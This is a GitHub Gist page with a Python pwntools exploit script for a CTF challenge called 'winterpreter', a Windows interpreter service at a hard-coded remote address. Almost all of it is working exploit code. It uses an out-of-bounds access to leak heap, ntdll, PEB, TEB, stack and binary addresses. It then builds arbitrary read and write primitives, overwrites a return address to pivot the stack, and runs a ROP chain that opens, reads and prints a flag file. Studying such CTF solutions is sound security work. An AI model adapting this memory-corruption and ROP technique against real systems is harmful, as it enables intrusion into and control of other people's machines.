-
-
Save m1ghtym0/1e792695c46f8f031a841a53caac1ae9 to your computer and use it in GitHub Desktop.
winterpreter
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from pwn import * | |
import sys | |
import struct | |
BINARY = './winterpreter.exe' | |
IS_REMOTE = True | |
H,P = ('183.107.102.15', 54321) | |
if not IS_REMOTE: | |
H,P = ('172.27.132.135', 54321) | |
LEVEL = 'INFO' | |
#LEVEL = 'DEBUG' | |
# Set context for asm | |
context.clear() | |
context(os='windows', arch='amd64', bits=64) | |
context.log_level = LEVEL | |
context.terminal = ['tmux', 'splitw', '-h'] | |
r = remote(H,P) | |
step_count = 0 | |
def init(rows, lines, code): | |
r.sendline(str(rows)+ '\r') | |
r.sendline(str(lines)+ '\r') | |
for line in code: | |
r.sendline(line + '\r') | |
def read_menu(): | |
return r.recvuntil('> ') | |
def run(): | |
r.sendlineafter("> ", "run") | |
def stop(): | |
r.sendlineafter("> ", "stop") | |
def stack(): | |
r.sendlineafter("> ", "stack") | |
def pc(): | |
r.sendlineafter("> ", "pc") | |
print(r.recvline()) | |
def step(count): | |
global step_count | |
step_count += count | |
assert(step_count < 0x10000) | |
r.sendlineafter("> ", "step {}".format(count)) | |
def cycle(count): | |
r.sendlineafter("> ", "cycle {}".format(count)) | |
# TEST | |
# code = [] | |
# code.append("11+ v") | |
# code.append("v+11<") | |
# code.append(">11+v") | |
# code.append("v+11<") | |
# code.append(">+++,@") | |
# init(6, 5, code) | |
# run() | |
# step(5) | |
# step(5) | |
# step(5) | |
# step(5) | |
# step(5) | |
# print("Printed: " + hex(ord(r.recv(1)))) | |
# step(1) | |
# r.recvline() | |
# print(r.recvline()) | |
# Setup | |
code = [] | |
code.append("v >>>>>>>>" + ">>>>>>>v") # 0 | |
code.append("v ^>>>>>>>" + ">>>>>>vv") # 1 | |
code.append("v ^^>>>>>>" + ">>>>>vvv") # 2 | |
code.append("v ^^^>>>>>" + ">>>>vvvv") # 3 | |
code.append("v ^^^^>>>>" + ">>>vvvvv") # 4 | |
code.append("v ^^^^^>>>" + ">>vvvvvv") # 5 | |
code.append("v ^^^^^^>>" + ">vvvvvvv") # 6 | |
code.append(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>v>v>v>v>v ^^^^^^^>" + "vvvvvvvv") # 7 A | |
code.append(" ' ' ' ' ' &&&&&&&&" + "ssssssss") # 8 B | |
code.append("") # 9 target | |
code.append(" ' ' ' 'v ########" + "########") # 10 C | |
code.append(" >^>^>^>^v @@@@@@@@" + "@@@@@@@@") # 11 D <----- for read/write | |
code.append(" >>>>>>>>>>v >$$$$$$$$$>>>v ########" + "########") # 12 | |
code.append(" ^$$$$$$$$<v v ^^^^^^^^" + "<<<<<<<<") # 13 | |
code.append("v >&&g&&g&&g&&g&&g&&g&&g&&g^>>>>>>>>>v v ^^^^^^^<" + "<vvvvvv ") # 14 | |
code.append(">&| >>>>>>>>>>>>>>>>v ^^^^^^<<" + "<<vvvvv ") # 15 | |
code.append("^ >&&&p&&&p&&&p&&&p&&&p&&&p&&&p&&&p>>^ v ^^^^^<<<" + "<<<vvvv ") # 16 | |
code.append("^ v ^^^^<<<<" + "<<<<vvv ") # 17 | |
code.append("^ v ^^^<<<<<" + "<<<<<vv ") # 18 | |
code.append("^ v ^^<<<<<<" + "<<<<<<v ") # 19 | |
code.append("^ v ^<<<<<<<" + "<<<<<<<0") # 20 | |
code.append("^ > " + " 1|") # 21 | |
code.append("^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< " + " $<") # 22 | |
assert(len(code) < 25) | |
# 1. Leak heap: Use out-of-bounds access in target to leak D's data pointer | |
init(80, len(code), code) | |
run() | |
step(8 + 32 + 8*4) | |
stack() | |
r.recvline() # Stack Dump | |
heap_addr = "" | |
for i in range(8): | |
heap_addr += r.recvline().strip('\n\r') | |
heap_addr = int(heap_addr, 0x10) | |
log.info("Leaked heap addr %s" % hex(heap_addr)) | |
# heap_offset = 0xf970 | |
# heap_base = heap_addr - heap_offset | |
heap_base= heap_addr & ~0xffff | |
log.success("Heap base %s" % hex(heap_base)) | |
step(19) | |
# 2. Leak a bunch of stuff by overwriting D's data pointer with the out-of-bounds access in target | |
def set_addr(addr): | |
enc = p64(addr) | |
for b in enc: | |
r.sendline(str(ord(b))) | |
def read(): | |
r.sendline('1') | |
for i in range(8): | |
r.sendline(str(i)) # row | |
r.sendline(str(11)) # line | |
def write(value): | |
enc = p64(value) | |
r.sendline('0') | |
for i in range(8): | |
r.sendline(str(ord(enc[i]))) # value | |
r.sendline(str(i)) # row | |
r.sendline(str(11)) # line | |
def read_stack(): | |
stack() | |
r.recvline() # Stack Dump | |
addr = "" | |
for i in range(8): | |
addr += r.recvline().strip('\n\r') | |
return int(addr, 0x10) | |
def do_read(addr): | |
step(415) | |
set_addr(addr) | |
step(29) | |
read() | |
val = read_stack() | |
step(20+2+10+16) | |
return val | |
def do_write(addr, value): | |
step(415) | |
set_addr(addr) | |
step(55) | |
write(value) | |
ntdll = do_read(heap_base + 0x2c0) # ntdll | |
log.info("ntdll leak: {}".format(hex(ntdll))) | |
off2ntdll = -0x163cb0 | |
ntdll = ntdll + off2ntdll | |
log.info("ntdll @ {}".format(hex(ntdll))) | |
off2peb = 0x165308 | |
peb = do_read(ntdll+off2peb) - 0x80 # peb | |
log.info("peb @ {}".format(hex(peb))) | |
off2teb = 0x1000 | |
teb = peb + off2teb | |
log.info("teb @ {}".format(hex(teb))) | |
off2stack = 0x10+1 | |
stack_start = do_read(teb+off2stack) << 8 # stack | |
log.info("stack @ {}".format(hex(stack_start))) | |
off2binary = 0x10 | |
binary_base = do_read(peb+off2binary) # binary | |
log.info("binary_base @ {}".format(hex(binary_base))) | |
stack_end = stack_start + (0x10000 - (stack_start & 0xffff)) | |
log.info("stack_end @ {}".format(hex(stack_end))) | |
ret_addr = binary_base + 0x8B34 | |
log.info("ret_addr @ {}".format(hex(ret_addr))) | |
off2memcpy = 0xA2A8 #memcpy | |
malloc = do_read(binary_base+off2memcpy) # binary | |
log.info("malloc @ {}".format(hex(malloc))) | |
off2ucrt = -0xC9E0 | |
ucrt = malloc + off2ucrt | |
log.info("ucrt @ {}".format(hex(ucrt))) | |
# search for ret addr on the stack | |
ret = 0 | |
start = stack_end - 0x200 | |
for i in range(0x1000/8): | |
addr = start - 8*i | |
print(i) | |
v = do_read(addr) | |
if v == ret_addr : | |
ret = addr | |
print("found!") | |
break | |
log.info("ret: %s" % hex(ret)) | |
if ret == 0 : | |
sys.exit() | |
count_addr = ret-0x28-0x248+0x1f4-8 | |
log.info("count: %s" % hex(count_addr)) | |
current_count = do_read(count_addr) | |
do_write(count_addr, current_count & ~0xffffffff) | |
# write flag string on the stack | |
filename_addr = stack_end-0x20 | |
flag_content_addr = stack_end-0x120 | |
do_write(filename_addr, u64("./flag.t")) | |
do_write(filename_addr+8, u64("xt\0\0\0\0\0\0")) | |
# rop-chain: open,read,write flag | |
rop = [] | |
rop.append(ntdll + 0x8fb37) # pop rdx; pop r11 ;ret | |
rop.append(0x0) | |
rop.append(0x0) # junk | |
rop.append(ntdll + 0x9217b) #: pop rcx ; ret | |
rop.append(filename_addr) | |
rop.append(ucrt + 0xA2A30) # fopen | |
rop.append(ntdll + 0x9ec3d) # add rsp 0x78 | |
rop.append(ntdll + 0x2010b) #: pop r8 ; ret | |
rop.append(0x61) | |
rop.append(ntdll + 0x57642) #: pop rdx ; ret | |
rop.append(flag_content_addr) | |
rop.append(ntdll + 0x9217b) #: pop rcx ; ret | |
rop.append(0x3) | |
rop.append(ucrt + 0x16270) # read | |
rop.append(ntdll + 0x9ec3d) # add rsp 0x78 | |
rop.append(ntdll + 0x2010b) # : pop r8 ; ret) | |
rop.append(0x100) | |
rop.append(ntdll + 0x57642) #: pop rdx ; ret | |
rop.append(flag_content_addr) | |
rop.append(ntdll + 0x9217b) #: pop rcx ; ret) | |
rop.append(0x1) | |
rop.append(ucrt + 0x15BF0) # write | |
# we need to pivot ... | |
rop_start = stack_start+0x100+8 | |
g = ntdll + 0x30f2 #: pop rsp ; ret | |
do_write(ret, g) | |
do_write(ret+8, rop_start) | |
offset = 0 | |
for i, g in enumerate(rop): | |
if i == 7 or i == 15: | |
offset += 0x78 | |
do_write(rop_start+i*8+offset, g) | |
r.sendline('quit') | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment